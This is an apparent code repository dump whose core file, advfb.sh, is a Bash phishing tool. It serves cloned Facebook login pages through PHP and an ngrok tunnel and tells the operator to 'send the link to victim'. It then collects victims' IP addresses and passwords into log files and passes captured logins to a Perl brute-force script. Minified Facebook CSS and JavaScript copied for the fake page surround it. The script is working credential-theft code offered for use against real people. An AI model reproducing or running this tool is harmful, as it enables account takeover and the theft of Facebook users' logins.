.textInputAreaLabel.apl{padding-left:11px;padding-right:11px}.touch .grouped.inset .textInputArea .tiapl{padding:12px 11px 13px}.touch .grouped.inset .textInputArea .mClearButtonWrapper{padding-right:11px} 14 | .touch .touchableArea{align-items:center;display:block;display:flex;min-height:27px}.touch.ff .touchableArea{display:block}.touch .touchableArea.centered{justify-content:center}.touch .touchableArea.touched{background:#627aad;color:#fff}.ios.app .touchableArea.touched{background:linear-gradient(#058cf5 0%, #015de6 70%)}.touch .touchableArea.hasArrow{padding-right:26px;position:relative}.touch .touchableArea.hasArrow .arrow{margin-top:-6px;position:absolute;right:8px;top:50%} 15 | ._5yc_{background:#3578e5}._5yd0{background:#fa3e3e}._5yd1{color:#fff}._6wpq ._5yd1 a:focus{background-color:#3578e5;color:#fff;padding:2px}.touch ._5yd1 a,.touch ._5yd1 a:visited{color:#fff;font-weight:bold} 16 | 17 | #bootloader_gJFto{height:42px;}.bootloader_gJFto{display:block!important;} -------------------------------------------------------------------------------- /advfb.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | trap 'printf "\n";stop;exit 1' 2 4 | trap user_interrupt SIGINT 5 | trap user_interrupt SIGTSTP 6 | 7 | user_interrupt(){ 8 | printf "\e[0m\n" 9 | printf "\e[0m\e[1;36m\t CTRL + C Pressed !!\n" 10 | sleep 2 11 | printf "\e[0m\n" 12 | printf " \e[0m\e[1;42m Thanks for Using This Tool !!\e[0m \e[1;44m Visit https://github.com/Mr-Yenoj for more\e[0m\n" 13 | printf "\e[0m\n" 14 | exit 1 15 | } 16 | 17 | stop() { 18 | 19 | checkngrok=$(ps aux | grep -o "ngrok" | head -n1) 20 | checkphp=$(ps aux | grep -o "php" | head -n1) 21 | checkssh=$(ps aux | grep -o "ssh" | head -n1) 22 | if [[ $checkngrok == *'ngrok'* ]]; then 23 | pkill -f -2 ngrok > /dev/null 2>&1 24 | killall ngrok > /dev/null 2>&1 25 | fi 26 | if [[ $checkphp == *'php'* ]]; then 27 | pkill -f -2 php > /dev/null 2>&1 28 | killall php > /dev/null 2>&1 29 | fi 30 | if [[ $checkssh == *'ssh'* ]]; then 31 | pkill -f -2 ssh > /dev/null 2>&1 32 | killall ssh > /dev/null 2>&1 33 | fi 34 | if [[ -e .nexlink ]]; then 35 | rm -rf .nexlink 36 | fi 37 | 38 | } 39 | 40 | reqs() { 41 | 42 | command -v perl > /dev/null 2>&1 || { printf "\n\e[0m\e[96m Packages are not Installed ! type \e[0m\e[93mbash setup\e[0m\n\n"; exit 1; } 43 | command -v php > /dev/null 2>&1 || { printf "\n\e[0m\e[96m Packages are not Installed ! type \e[0m\e[93mbash setup\e[0m\n\n"; exit 1; } 44 | command -v curl > /dev/null 2>&1 || { printf "\n\e[0m\e[96m Packages are not Installed ! type \e[0m\e[93mbash setup\e[0m\n\n"; exit 1; } 45 | command -v ssh > /dev/null 2>&1 || { printf "\n\e[0m\e[96m Packages are not Installed ! type \e[0m\e[93mbash setup\e[0m\n\n"; exit 1; } 46 | command -v unzip > /dev/null 2>&1 || { printf "\n\e[0m\e[96m Packages are not Installed ! type \e[0m\e[93mbash setup\e[0m\n\n"; exit 1; } 47 | 48 | } 49 | 50 | banner() { 51 | 52 | clear 53 | printf "\e[0m\n" 54 | printf "\e[0m\e[92m _ ____ __ __ \e[0m\e[93m _____ ____ \e[0m\n" 55 | printf "\e[0m\e[92mU / \ u | _ \ \ \ / /u \e[0m\e[93m | ___|U | __ )u\e[0m\n" 56 | printf "\e[0m\e[92m \/ _ \/ /| | | | \ \ / // \e[0m\e[93m U| |_ u \| _ \/\e[0m\n" 57 | printf "\e[0m\e[92m / ___ \ U| |_| |\ /\ V /_,-.\e[0m\e[93m \| _|/ | |_) |\e[0m\n" 58 | printf "\e[0m\e[92m/_/ \_\ |____/ uU \_/-(_/ \e[0m\e[93m |_| |____/ \e[0m\n" 59 | printf "\e[0m\e[92m \\ >> |||_ // \e[0m\e[93m )(\\,- _|| \\_ \e[0m\n" 60 | printf "\e[0m\e[92m(__) (__)(__)_) (__) \e[0m\e[93m (__)(_/ (__) (__)\e[0m\n" 61 | printf "\n" 62 | printf "\e[1;93m.:.:.\e[0m\e[1;77m Phishing Tool coded by: @Mr-Yenoj \e[0m\e[1;93m.:.:.\e[0m\n" 63 | printf "\e[0m\n" 64 | 65 | } 66 | 67 | menu() { 68 | 69 | printf " \e[0m\e[1;46m[::] Select Option for Your Victim [::]\e[0m\n" 70 | printf "\e[0m\n" 71 | printf " \e[1;31m[\e[0m\e[1;77m01\e[0m\e[1;31m]\e[0m\e[1;93m Facebook New Simple Phishing Page \e[0m\n" 72 | printf " \e[1;31m[\e[0m\e[1;77m02\e[0m\e[1;31m]\e[0m\e[1;93m Facebook Advance Phishing Page \e[0m\n" 73 | printf " \e[1;31m[\e[0m\e[1;77m03\e[0m\e[1;31m]\e[0m\e[1;93m About Tool nd Option \e[0m\n" 74 | printf " \e[1;31m[\e[0m\e[1;77m04\e[0m\e[1;31m]\e[0m\e[1;93m How To Use This Tool \e[0m\n" 75 | printf " \e[1;31m[\e[0m\e[1;77m05\e[0m\e[1;31m]\e[0m\e[1;93m About Tool Developer \e[0m\n" 76 | printf " \e[1;31m[\e[0m\e[1;77m00\e[0m\e[1;31m]\e[0m\e[1;93m Exit \e[0m\n" 77 | printf "\e[0m\n" 78 | read -p $' \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Select an option: \e[0m\e[1;96m\en' menu_option 79 | 80 | if [[ $menu_option == 1 || $menu_option == 01 ]]; then 81 | start_ngrok 82 | elif [[ $menu_option == 2 || $menu_option == 02 ]]; then 83 | advance_fb 84 | elif [[ $menu_option == 3 || $menu_option == 03 ]]; then 85 | Tool 86 | elif [[ $menu_option == 4 || $menu_option == 04 ]]; then 87 | Use 88 | elif [[ $menu_option == 5 || $menu_option == 05 ]]; then 89 | about 90 | elif [[ $menu_option == 0 || $menu_option == 00 ]]; then 91 | printf "\e[0m\n" 92 | printf " \e[0m\e[1;42m Thanks for Using This Tool !!\e[0m \e[1;44m Visit https://github.com/Mr-yenoj for more\e[0m\n" 93 | printf "\e[0m\n" 94 | exit 1 95 | 96 | else 97 | printf "\n\n \e[1;91m[\e[0m\e[1;97m!\e[0m\e[1;91m]\e[0m\e[1;93m Invalid option \e[1;91m[\e[0m\e[1;97m!\e[0m\e[1;91m]\e[0m\n" 98 | sleep 1 99 | banner 100 | menu 101 | fi 102 | 103 | } 104 | 105 | about() { 106 | 107 | clear 108 | sleep 2 109 | printf "\e[0m\n" 110 | printf "\e[0m\e[93m ___ _ _ \e[0m\n" 111 | printf "\e[0m\e[93m / _ \| | | | \e[0m\n" 112 | printf "\e[0m\e[93m / /_\ \ |__ ___ _ _| |_ \e[0m\n" 113 | printf "\e[0m\e[93m | _ | '_ \ / _ \| | | | __| \e[0m\n" 114 | printf "\e[0m\e[93m | | | | |_) | (_) | |_| | |_ \e[0m\n" 115 | printf "\e[0m\e[93m \_| |_/_.__/ \___/ \__,_|\__| \e[0m\n" 116 | printf "\e[0m\n" 117 | printf " \e[0m\e[1;44m Advanced Phishing Tool with Template \e[0m\n" 118 | printf "\e[0m\n" 119 | printf "\e[0m\e[92m AUTHOR \e[0m\e[91m :\e[0m\e[93m Mr. Yenoj \e[0m\e[91m[\e[0m\e[93m Creative hackers \e[0m\e[91m]\e[0m\n" 120 | printf "\e[0m\n" 121 | printf "\e[0m\e[92m GITHUB \e[0m\e[91m : \e[0m\e[96mhttps://github.com/Mr-Yenoj\e[0m\n" 122 | printf "\e[0m\n" 123 | printf "\e[0m\e[92m Instagram \e[0m\e[91m : \e[0m\e[96mhttps://www.instagram.com/creative_hackers/\e[0m\n" 124 | printf "\e[0m\n" 125 | printf "\e[0m\e[92m Youtube \e[0m\e[91m : \e[0m\e[96mhttps://www.youtube.com/c/creativehackers/\e[0m\n" 126 | printf "\e[0m\n" 127 | printf "\e[0m\e[92m Version \e[0m\e[91m : \e[0m\e[93m1.0\e[0m\n" 128 | printf "\e[0m\n" 129 | printf " \e[0m\e[1;44m Follow Our Github For More Tools \e[0m\n" 130 | printf "\e[0m\n" 131 | printf "\e[0m\n" 132 | sleep 3 133 | printf " \e[0m\e[91m[\e[0m00\e[0m\e[91m]\e[0m\e[93m Home \e[0m\e[91m[\e[0m99\e[0m\e[91m]\e[0m\e[93m Exit\e[0m\n" 134 | printf "\e[0m\n" 135 | read -p $' \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Select an option: \e[0m\e[1;96m\en' about_option 136 | 137 | if [[ $about_option == 0 || $about_option == 00 ]]; then 138 | sleep 1 139 | banner 140 | menu 141 | elif [[ $about_option == 99 ]]; then 142 | sleep 1 143 | printf "\e[0m\n" 144 | printf " \e[0m\e[1;42m Thanks for Using This Tool !!\e[0m \e[1;44m Visit https://github.com/Mr-Yenoj for more\e[0m\n" 145 | printf "\e[0m\n" 146 | exit 1 147 | 148 | else 149 | printf "\n\n \e[1;91m[\e[0m\e[1;97m!\e[0m\e[1;91m]\e[0m\e[1;93m Invalid option \e[1;91m[\e[0m\e[1;97m!\e[0m\e[1;91m]\e[0m\n" 150 | sleep 1 151 | banner 152 | menu 153 | fi 154 | } 155 | 156 | Use() { 157 | clear 158 | sleep 2 159 | xdg-open https://creative-hackers.xyz 160 | banner 161 | menu 162 | } 163 | 164 | Tool() { 165 | 166 | clear 167 | sleep 2 168 | printf "\e[0m\n" 169 | printf "\e[0m\e[93m _ _ _______ _ \e[0m\n" 170 | printf "\e[0m\e[93m /\ | | | | |__ __| | |\e[0m\n" 171 | printf "\e[0m\e[93m / \ | |__ ___ _ _| |_ | | ___ ___ | |\e[0m\n" 172 | printf "\e[0m\e[93m / /\ \ | '_ \ / _ \| | | | __| | |/ _ \ / _ \| |\e[0m\n" 173 | printf "\e[0m\e[93m / ____ \| |_) | (_) | |_| | |_ | | (_) | (_) | |\e[0m\n" 174 | printf "\e[0m\e[93m /_/ \_\_.__/ \___/ \__,_|\__| |_|\___/ \___/|_|\e[0m\n" 175 | printf "\e[0m\n" 176 | printf " \e[0m\e[1;44m Advanced Phishing Tool with Template \e[0m\n" 177 | printf "\e[0m\n" 178 | printf "\e[0m\e[92m AUTHOR \e[0m\e[91m :\e[0m\e[93m Mr. Yenoj \e[0m\e[91m[\e[0m\e[93m Creative hackers \e[0m\e[91m]\e[0m\n" 179 | printf "\e[0m\n" 180 | printf "\e[0m\e[92m GITHUB \e[0m\e[91m : \e[0m\e[96mhttps://github.com/Mr-Yenoj\e[0m\n" 181 | printf "\e[0m\n" 182 | printf "\e[0m\e[92m Instagram \e[0m\e[91m : \e[0m\e[96mhttps://www.instagram.com/creative_hackers/\e[0m\n" 183 | printf "\e[0m\n" 184 | printf "\e[0m\e[92m Youtube \e[0m\e[91m : \e[0m\e[96mhttps://www.youtube.com/c/creativehackers/\e[0m\n" 185 | printf "\e[0m\n" 186 | printf "\e[0m\e[92m Version \e[0m\e[91m : \e[0m\e[93m1.0\e[0m\n" 187 | printf "\e[0m\n" 188 | 189 | printf " \e[0m\e[1;44m What Is The Use Of This Tool \e[0m\n" 190 | printf "\e[0m\n" 191 | printf "\e[0m\e[91m This is the Phishing page Advanced Tool. Which Help you To hack Facebook account,\e[0m\n" 192 | printf "\e[0m\e[91m In this you will get the id / password of Victim as well as the right id and password.\e[0m\n" 193 | printf "\e[0m\n" 194 | printf "\e[0m\e[92m We Made This by Using 2 things Advance Phising and Bruteforce. This is Only created\e[0m\n" 195 | printf "\e[0m\e[92m By \e[0m\e[96m Our Team Creative Hackers.\e[0m\n" 196 | printf "\e[0m\n" 197 | printf "\e[0m\e[93m We have made it like the original Facebook Page and if Victim will put wrong information\e[0m\n" 198 | printf "\e[0m\e[93m on phishing page then our Advance phising tool will tell it that your password is wrong\e[0m\n" 199 | printf "\e[0m\e[93m or spelling mistake should enter the correct information as the real Facebook says!\e[0m\n" 200 | printf "\e[0m\n" 201 | printf "\e[0m\e[90m We created This Tool so far has been created by no one and it is the latest versions,\e[0m\n" 202 | printf "\e[0m\e[90m with the help of this you will get real login information !!\e[0m\n" 203 | printf "\e[0m\n" 204 | printf " \e[0m\e[93m Thank you!\e[0m\n" 205 | printf "\e[0m\n" 206 | printf "\e[0m\n" 207 | sleep 3 208 | printf " \e[0m\e[91m[\e[0m00\e[0m\e[91m]\e[0m\e[93m Home \e[0m\e[91m[\e[0m99\e[0m\e[91m]\e[0m\e[93m Exit\e[0m\n" 209 | printf "\e[0m\n" 210 | read -p $' \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Select an option: \e[0m\e[1;96m\en' about_option 211 | 212 | if [[ $about_option == 0 || $about_option == 00 ]]; then 213 | sleep 1 214 | banner 215 | menu 216 | elif [[ $about_option == 99 ]]; then 217 | sleep 1 218 | printf "\e[0m\n" 219 | printf " \e[0m\e[1;42m Thanks for Using This Tool !!\e[0m \e[1;44m Visit https://github.com/Mr-Yenoj for more\e[0m\n" 220 | printf "\e[0m\n" 221 | exit 1 222 | 223 | else 224 | printf "\n\n \e[1;91m[\e[0m\e[1;97m!\e[0m\e[1;91m]\e[0m\e[1;93m Invalid option \e[1;91m[\e[0m\e[1;97m!\e[0m\e[1;91m]\e[0m\n" 225 | sleep 1 226 | banner 227 | menu 228 | fi 229 | } 230 | 231 | 232 | start_ngrok() { 233 | 234 | printf "\e[0m\n" 235 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Initializing...\e[0m\e[1;91m ( \e[0m\e[1;96mhttp://127.0.0.1:5555\e[0m\e[1;91m )\e[0m\n" 236 | sleep 1 237 | printf "\e[0m\n" 238 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Launching Ngrok ...\e[0m\n" 239 | cd facebook && php -S localhost:1525 > /dev/null 2>&1 & 240 | sleep 2 241 | ./ngrok http 1525 > /dev/null 2>&1 & 242 | sleep 10.0 243 | ylink=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io") 244 | printf "\e[0m\n" 245 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;96m Send the link to victim :\e[0m\e[1;93m %s \n" $ylink 246 | 247 | datafound 248 | } 249 | 250 | datafound() { 251 | 252 | printf "\n" 253 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;93m Waiting for Login Info,\e[0m\e[1;96m Ctrl + C to exit.\e[0m\n" 254 | printf "\n" 255 | while [ true ]; do 256 | 257 | 258 | if [[ -e "facebook/ip.txt" ]]; then 259 | printf "\e[0m\n" 260 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Victim IP Found !\e[0m\n" 261 | grab_ip 262 | rm -rf facebook/ip.txt 263 | fi 264 | sleep 0.75 265 | if [[ -e "facebook/usernames.txt" ]]; then 266 | printf "\e[0m\n" 267 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Login info Found !!\e[0m\n" 268 | grab_creds 269 | rm -rf facebook/usernames.txt 270 | fi 271 | sleep 0.75 272 | 273 | 274 | done 275 | 276 | } 277 | 278 | grab_ip() { 279 | 280 | ip=$(grep -a 'IP:' facebook/ip.txt | cut -d " " -f2 | tr -d '\r') 281 | IFS=$'\n' 282 | 283 | printf "\e[0m\n" 284 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Victim IP:\e[0m\e[1;96m %s\e[0m\n" $ip 285 | printf "\e[0m\n" 286 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;96m Saved:\e[0m\e[1;93m ip.saved.txt\e[0m\n" $server 287 | printf "\n" 288 | cat facebook/ip.txt >> ip.saved.txt 289 | 290 | } 291 | 292 | grab_creds() { 293 | 294 | account=$(grep -o 'Username:.*' facebook/usernames.txt | cut -d " " -f2) 295 | IFS=$'\n' 296 | password=$(grep -o 'Pass:.*' facebook/usernames.txt | cut -d ":" -f2) 297 | printf "\e[0m\n" 298 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Account:\e[0m\e[1;96m %s\n\e[0m" $account 299 | printf "\e[0m\n" 300 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Password:\e[0m\e[1;96m %s\n\e[0m" $password 301 | cat facebook/usernames.txt >> id.saved.txt 302 | printf "\e[0m\n" 303 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;96m Saved:\e[0m\e[1;93m logs/%s.log\e[0m\n" facebook 304 | printf "\n" 305 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;93m Waiting for Next Login Info,\e[0m\e[1;96m Ctrl + C to exit.\e[0m\n" 306 | 307 | } 308 | 309 | advance_fb() { 310 | 311 | printf "\e[0m\n" 312 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Initializing...\e[0m\e[1;91m ( \e[0m\e[1;96mhttp://127.0.0.1:5555\e[0m\e[1;91m )\e[0m\n" 313 | sleep 1 314 | printf "\e[0m\n" 315 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Launching Ngrok ...\e[0m\n" 316 | cd fb && php -S 127.0.0.1:5555 > /dev/null 2>&1 & 317 | sleep 2 318 | ./ngrok http 127.0.0.1:5555 > /dev/null 2>&1 & 319 | sleep 7 320 | xlink=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io") 321 | printf "\e[0m\n" 322 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;96m Send the link to victim :\e[0m\e[1;93m %s \n" $xlink 323 | 324 | fffound 325 | } 326 | 327 | fffound() { 328 | 329 | printf "\n" 330 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;93m Waiting for Login Info,\e[0m\e[1;96m Ctrl + C to exit.\e[0m\n" 331 | printf "\n" 332 | while [ true ]; do 333 | 334 | 335 | if [[ -e "fb/ip.txt" ]]; then 336 | printf "\e[0m\n" 337 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Victim IP Found !\e[0m\n" 338 | grabdataip 339 | rm -rf fb/ip.txt 340 | fi 341 | sleep 0.75 342 | if [[ -e "fb/usernames.txt" ]]; then 343 | printf "\e[0m\n" 344 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Login info Found !!\e[0m\n" 345 | grabdata 346 | rm -rf fb/usernames.txt 347 | rm -rf fb/pass.txt 348 | fi 349 | sleep 0.75 350 | 351 | 352 | done 353 | 354 | } 355 | 356 | grabdataip() { 357 | 358 | ip=$(grep -a 'IP:' fb/ip.txt | cut -d " " -f2 | tr -d '\r') 359 | IFS=$'\n' 360 | 361 | printf "\e[0m\n" 362 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Victim IP:\e[0m\e[1;96m %s\e[0m\n" $ip 363 | printf "\e[0m\n" 364 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;96m Saved:\e[0m\e[1;93m ip.txt\e[0m\n" $server 365 | printf "\n" 366 | cat fb/ip.txt >> ip.txt 367 | 368 | } 369 | 370 | grabdata() { 371 | 372 | account=$(grep -o '.*' fb/usernames.txt | cut -d " " -f2) 373 | IFS=$'\n' 374 | password=$(grep -o '.*' fb/pass.txt | cut -d ":" -f2) 375 | printf "\e[0m\n" 376 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;92m Plz Wait We Are Checking Victim Id nd Pass.... \e[0m\e[1;96m %s\e[0m\n" 377 | cat fb/usernames.txt >> id.log 378 | cat fb/pass.txt >> pass.log 379 | perl fb-brute.pl $account fb/pass.txt 380 | printf "\e[0m\n" 381 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;96m Saved:\e[0m\e[1;93m id.log nd pass.log \e[0m\n" fb 382 | printf "\n" 383 | printf " \e[1;31m[\e[0m\e[1;77m~\e[0m\e[1;31m]\e[0m\e[1;93m Waiting for Next Login Info,\e[0m\e[1;96m Ctrl + C to exit.\e[0m\n" 384 | 385 | } 386 | 387 | banner 388 | reqs 389 | menu 390 | -------------------------------------------------------------------------------- /fb/mobile_files/BeABftOMOi3.js: -------------------------------------------------------------------------------- 1 | if (self.CavalryLogger) { CavalryLogger.start_js(["OeKOJ"]); } 2 | 3 | __d("PagesLoggerEventEnum",[],(function(a,b,c,d,e,f){e.exports={CLICK:"click",CREATE:"create",DELETE:"delete",DRAG:"drag",HOVER:"hover",IMPRESSION:"impression",RECEIVE_REQUEST:"receive_request",RECEIVE_RESPONSE:"receive_response",SAVE:"save",SCROLL:"scroll",SEND_REQUEST:"send_request",SEND_RESPONSE:"send_response",UNSAVE:"unsave",UPDATE:"update"}}),null); 4 | __d("PagesTypedLogger",["Banzai","GeneratedLoggerUtils","nullthrows"],(function(a,b,c,d,e,f){"use strict";__p&&__p();a=function(){__p&&__p();function a(){this.$1={}}var c=a.prototype;c.log=function(){b("GeneratedLoggerUtils").log("logger:PagesLoggerConfig",this.$1,b("Banzai").BASIC)};c.logVital=function(){b("GeneratedLoggerUtils").log("logger:PagesLoggerConfig",this.$1,b("Banzai").VITAL)};c.logImmediately=function(){b("GeneratedLoggerUtils").log("logger:PagesLoggerConfig",this.$1,{signal:!0})};c.clear=function(){this.$1={};return this};c.getData=function(){return babelHelpers["extends"]({},this.$1)};c.updateData=function(a){this.$1=babelHelpers["extends"]({},this.$1,a);return this};c.setConnectionClass=function(a){this.$1.connection_class=a;return this};c.setEvent=function(a){this.$1.event=a;return this};c.setEventLocation=function(a){this.$1.event_location=a;return this};c.setEventTarget=function(a){this.$1.event_target=a;return this};c.setLogSource=function(a){this.$1.log_source=a;return this};c.setPageID=function(a){this.$1.page_id=a;return this};c.setRawClientTime=function(a){this.$1.raw_client_time=a;return this};c.setSessionid=function(a){this.$1.sessionid=a;return this};c.setTags=function(a){this.$1.tags=b("GeneratedLoggerUtils").serializeVector(a);return this};c.setTime=function(a){this.$1.time=a;return this};c.setWeight=function(a){this.$1.weight=a;return this};c.updateExtraData=function(a){a=b("nullthrows")(b("GeneratedLoggerUtils").serializeMap(a));b("GeneratedLoggerUtils").checkExtraDataFieldNames(a,g);this.$1=babelHelpers["extends"]({},this.$1,a);return this};c.addToExtraData=function(a,b){var c={};c[a]=b;return this.updateExtraData(c)};return a}();var g={connection_class:!0,event:!0,event_location:!0,event_target:!0,log_source:!0,page_id:!0,raw_client_time:!0,sessionid:!0,tags:!0,time:!0,weight:!0};e.exports=a}),null); 5 | __d("MPasswordPlainTextToggleSigils",[],(function(a,b,c,d,e,f){e.exports=Object.freeze({INPUT:"password-plain-text-toggle-input",TOGGLE:"password-plain-text-toggle"})}),null); 6 | __d("MPasswordPlainTextToggle",["invariant","CSS","KaiOSSpatialNavEvents","MPasswordPlainTextToggleSigils","Stratcom"],(function(a,b,c,d,e,f,g){"use strict";a={init:function(a,c,d,e){d!==null&&e!==null||g(0,4607),b("Stratcom").listen("click",b("MPasswordPlainTextToggleSigils").TOGGLE,function(c){a.type=="password"?(a.type="text",b("CSS").hide(d),b("CSS").show(e)):(a.type="password",b("CSS").hide(e),b("CSS").show(d)),c.kill()}),b("Stratcom").listen(["m:passwordinput:autoclear","input"],b("MPasswordPlainTextToggleSigils").INPUT,function(d){a.value==""?b("CSS").hide(c):b("CSS").show(c),b("Stratcom").invoke(b("KaiOSSpatialNavEvents").REFRESH,null,null)})}};e.exports=a}),null); 7 | __d("MUFISocialSentence",["cx","fbt","Bootloader","CSS","DOM","MLiveData","Stratcom","SubscriptionsHandler"],(function(a,b,c,d,e,f,g,h){__p&&__p();a=function(){"use strict";__p&&__p();function a(a,c,d,e,f,g){__p&&__p();if(!g&&!d)return;this.$1=a;this.$2=b("MLiveData").get(c);this.$3=e;this.$4=f;this.$5=g;this.$6=d;this.$7=new(b("SubscriptionsHandler"))();this.$7.addSubscriptions(this.$2.listen("change",this.onChange.bind(this)),b("Stratcom").listen("m:page:unload",null,this.onUnload.bind(this)))}var c=a.prototype;c.onChange=function(){__p&&__p();var a=this.$2.getData();if(a.request_id===this.$4)return;b("CSS").removeClass(this.$1,"like_opt");var c=this.$5&&a.like_count?a[this.$3][0]:null,d=this.$6&&a.comment_count?a.comment_count:null;if(c&&c.text){this.$8={text:c,ftid:a.ft_ent_identifier};c=c.text;this.$6||b("Bootloader").loadModules(["MReactComponentRenderer","MUFISocialSentenceTextWithEntities.react"],function(a,b){a(b,this.$1,this.$8)}.bind(this),"MUFISocialSentence");return}if(c){var e=this.$3!=="like_counts"&&!a.like_fallback&&d?"div":"span";c=b("DOM").create(e,null,c);b("CSS").addClass(c,"_28wy")}d&&(d=d>1?h._({"*":"{count} comments"},[h._param("count",d,[0])]):h._({"*":"{count} comment"},[h._param("count",d,[0])]),d=b("DOM").create("span",{},d),b("CSS").addClass(d,"_28wy"));b("DOM").setContent(this.$1,[c,d]);this.$9(a)};c.$9=function(a){var c=this.$5&&(a.like_count||a.reactioncount);a=this.$6&&a.comment_count;b("CSS").conditionShow(this.$1,!!(c||a))};c.onUnload=function(){this.$7.release(),this.$7=null};return a}();e.exports=a}),null); 8 | __d("XFantailLogController",["XController"],(function(a,b,c,d,e,f){e.exports=b("XController").create("/ajax/fantail/",{service:{type:"String",required:!0}})}),null); 9 | __d("BanzaiOld",["BanzaiAdapter","NavigationMetrics","BanzaiConsts","BanzaiLazyQueue","BanzaiStreamPayloads","CurrentUser","ErrorUtils","ExecutionEnvironment","FBJSON","FBLogger","SetIdleTimeoutAcrossTransitions","TimeSlice","Visibility","WebStorage","emptyFunction","isInIframe","lowerFacebookDomain","pageID","performanceAbsoluteNow","WebStorageMutex"],(function(a,b,c,d,e,f){__p&&__p();var g=6e4,h=1e3,i=b("BanzaiAdapter"),j=b("isInIframe")(),k="bz:",l="ods:banzai",m="send_via_beacon_failure",n=0,o=1,p=2,q=null,r,s,t=[],u=null,v=[];function w(a){return a[2]>=b("performanceAbsoluteNow")()-((a=i.config.EXPIRY)!=null?a:K.EXPIRY)}function x(a,b){var c=a.__meta;c.status=n;a[3]=(a[3]||0)+1;c.retry===!1&&b>=400&&b<600&&t.push(a)}function y(a,c,d,e){a=[a,c,d,0];a.__meta={retry:e===!0,pageID:b("pageID"),userID:b("CurrentUser").getID(),status:n};return a}function z(){__p&&__p();var a=[];v.forEach(function(c){var d=c.cb();d.forEach(function(d){var e=c.route;if(e!=null||e!=""){e=y(e,d,b("performanceAbsoluteNow")());e.__meta.onSuccess=c.onSuccess;e.__meta.onFailure=c.onFailure;a.push(e)}})});v=[];var c=[],d=[];E(c,d,!0,a);if(c.length>0){c[0].send_method="beacon";c.map(i.prepWadForTransit);c=new Blob([i.addRequestAuthData(i.prepForTransit(c))],{type:"application/x-www-form-urlencoded"});c=navigator.sendBeacon(K.adapter.endpoint,c);c?d.forEach(function(a){a=a.__meta;a!=null&&a.onSuccess!=null&&a.onSuccess()}):d.forEach(function(a){a=a.__meta;a!=null&&a.onFailure!=null&&a.onFailure()})}}function A(a){__p&&__p();var c=b("performanceAbsoluteNow")()+a;if(s==null||c=p||!w(d))return!1;if(f.status>=o)return!0;var g=f.compress!=null?f.compress:!0,h=f.pageID+f.userID+(g?"compress":""),i=e[h];i||(i={user:f.userID,page_id:f.pageID,posts:[],snappy:g},e[h]=i,a.push(i));f.status=o;i.posts.push(d);b.push(d);return c&&!!f.retry})}var F,G,H=!1;function I(){H||(H=!0,G=b("WebStorage").getLocalStorage());return G}function J(){__p&&__p();F||(!j?F={store:function(){var a=I();if(a==null||t.length<=0)return;var c=t.map(function(a){return[a[0],a[1],a[2],a[3]||0,a.__meta]});t=[];b("WebStorage").setItemGuarded(a,k+b("pageID")+"."+b("performanceAbsoluteNow")(),b("FBJSON").stringify(c))},restore:function(){__p&&__p();var a=I();if(!a)return;var c=b("WebStorageMutex");new c("banzai").lock(function(c){__p&&__p();var d=[];for(var e=0;e=b("BanzaiConsts").STORAGE_FLUSH_INTERVAL;c&&K._restore(!1);(c||!q)&&(q=b("performanceAbsoluteNow")(),b("WebStorage").setItemGuarded(a,b("BanzaiConsts").LAST_STORAGE_FLUSH,q.toString()))}}}:F={store:b("emptyFunction"),restore:b("emptyFunction"),flush:b("emptyFunction")})}var K={adapter:i,SEND:"Banzai:SEND",OK:"Banzai:OK",ERROR:"Banzai:ERROR",SHUTDOWN:"Banzai:SHUTDOWN",VITAL_WAIT:h,BASIC_WAIT:g,EXPIRY:30*6e4,VITAL:{delay:(c=b("BanzaiAdapter").config.MIN_WAIT)!=null?c:h},BASIC:{delay:(d=b("BanzaiAdapter").config.MAX_WAIT)!=null?d:g},isEnabled:function(a){return!!(i.config.gks&&i.config.gks[a])},post:function(c,d,e){__p&&__p();var f;(c==null||c==="")&&b("FBLogger")("banzai").mustfix("Banzai.post called without specifying a route");var h=e==null?void 0:e.retry;if(i.config.disabled===!0)return;if(!b("ExecutionEnvironment").canUseDOM)return;var k=i.config.blacklist;if(k&&(k.indexOf&&(typeof 